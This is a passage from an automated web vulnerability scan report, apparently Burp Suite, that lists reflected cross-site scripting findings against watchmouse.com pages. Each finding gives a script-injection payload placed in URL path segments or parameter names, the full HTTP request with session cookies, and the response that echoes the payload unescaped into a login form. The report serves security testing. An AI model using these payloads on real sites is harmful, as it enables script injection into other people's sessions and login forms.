Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-ca5d8548807788ebedb416f7d694d018"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23677

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="/pl/feature/public-status-page.html?335bc"><script>alert(1)</script>caa1a04e178=1" method="post">
...[SNIP]...

1.688. http://www.watchmouse.com/pl/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload beff0"><script>alert(1)</script>f7d5b6a1d8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /plbeff0"><script>alert(1)</script>f7d5b6a1d8c/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-44536dd7e323b8f7fa614d98a39cd7b9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plbeff0"><script>alert(1)</script>f7d5b6a1d8c/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.689. http://www.watchmouse.com/pl/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ccf2"><script>alert(1)</script>cb7480f6ab3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature8ccf2"><script>alert(1)</script>cb7480f6ab3/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-470a371831f77b24f91ae8511aadc163"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/feature8ccf2"><script>alert(1)</script>cb7480f6ab3/the-watchmouse-api.html" method="post">
...[SNIP]...

1.690. http://www.watchmouse.com/pl/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6684"><script>alert(1)</script>bd80fc53afa was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/the-watchmouse-api.htmld6684"><script>alert(1)</script>bd80fc53afa HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-8afda78c5d9bdea1e10d09ab84e87af9"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/feature/the-watchmouse-api.htmld6684"><script>alert(1)</script>bd80fc53afa" method="post">
...[SNIP]...

1.691. http://www.watchmouse.com/pl/feature/the-watchmouse-api.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/the-watchmouse-api.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c23be"><script>alert(1)</script>2ed7d6b7764 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/the-watchmouse-api.html?c23be"><script>alert(1)</script>2ed7d6b7764=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-d451496da6898dac0f774b0d82366ecc"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22879

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="/pl/feature/the-watchmouse-api.html?c23be"><script>alert(1)</script>2ed7d6b7764=1" method="post">
...[SNIP]...

1.692. http://www.watchmouse.com/pl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45b03"><script>alert(1)</script>22189b4aac7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pl45b03"><script>alert(1)</script>22189b4aac7/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d1bcc8477b52164dbf935a48aff849fa"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pl45b03"><script>alert(1)</script>22189b4aac7/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.693. http://www.watchmouse.com/pl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8bb2"><script>alert(1)</script>a53854aed16 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/featuref8bb2"><script>alert(1)</script>a53854aed16/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-6668d971253ac50318993c1fed382e2e"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13565

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/featuref8bb2"><script>alert(1)</script>a53854aed16/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.694. http://www.watchmouse.com/pl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b36e4"><script>alert(1)</script>34b9b9c5b42 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/transaction-monitoring-web-application-testing.htmlb36e4"><script>alert(1)</script>34b9b9c5b42 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:01 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-ebd7cfb1644d7e42438b4513e08eeba1"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13565

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/feature/transaction-monitoring-web-application-testing.htmlb36e4"><script>alert(1)</script>34b9b9c5b42" method="post">
...[SNIP]...

1.695. http://www.watchmouse.com/pl/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c320b"><script>alert(1)</script>1a7f158e258 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/transaction-monitoring-web-application-testing.html?c320b"><script>alert(1)</script>1a7f158e258=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-1195e7b1ba5af049d546940a901be736"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="/pl/feature/transaction-monitoring-web-application-testing.html?c320b"><script>alert(1)</script>1a7f158e258=1" method="post">
...[SNIP]...

1.696. http://www.watchmouse.com/pl/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48df4"><script>alert(1)</script>8adba41fdba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pl48df4"><script>alert(1)</script>8adba41fdba/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5e5f2e093fab8969e464b64faed0d680"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pl48df4"><script>alert(1)</script>8adba41fdba/learn_more.php" method="post">
...[SNIP]...

1.697. http://www.watchmouse.com/pl/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24e57"><script>alert(1)</script>60469d6d616 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/learn_more.php24e57"><script>alert(1)</script>60469d6d616 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-68f156752588a44cb8a79325b394954b"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/learn_more.php24e57"><script>alert(1)</script>60469d6d616" method="post">
...[SNIP]...

1.698. http://www.watchmouse.com/pl/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5bd3"><script>alert(1)</script>3d437872ae6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/learn_more.php?d5bd3"><script>alert(1)</script>3d437872ae6=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:09:52 GMT
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45560

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/learn_more.php?d5bd3"><script>alert(1)</script>3d437872ae6=1" method="post">
...[SNIP]...

1.699. http://www.watchmouse.com/pl/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 508ac"><script>alert(1)</script>6b2f1ecd37e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pl508ac"><script>alert(1)</script>6b2f1ecd37e/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a858eb748de99319e36491b59e05f264"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pl508ac"><script>alert(1)</script>6b2f1ecd37e/plans_price.php" method="post">
...[SNIP]...

1.700. http://www.watchmouse.com/pl/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5f41"><script>alert(1)</script>6f2e2b3b8bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/plans_price.phpb5f41"><script>alert(1)</script>6f2e2b3b8bf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-cad890609684aba1a8f5e7bf8b23457a"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13169

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/plans_price.phpb5f41"><script>alert(1)</script>6f2e2b3b8bf" method="post">
...[SNIP]...

1.701. http://www.watchmouse.com/pl/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aefcd"><script>alert(1)</script>8026c9ab638 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/plans_price.php?aefcd"><script>alert(1)</script>8026c9ab638=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
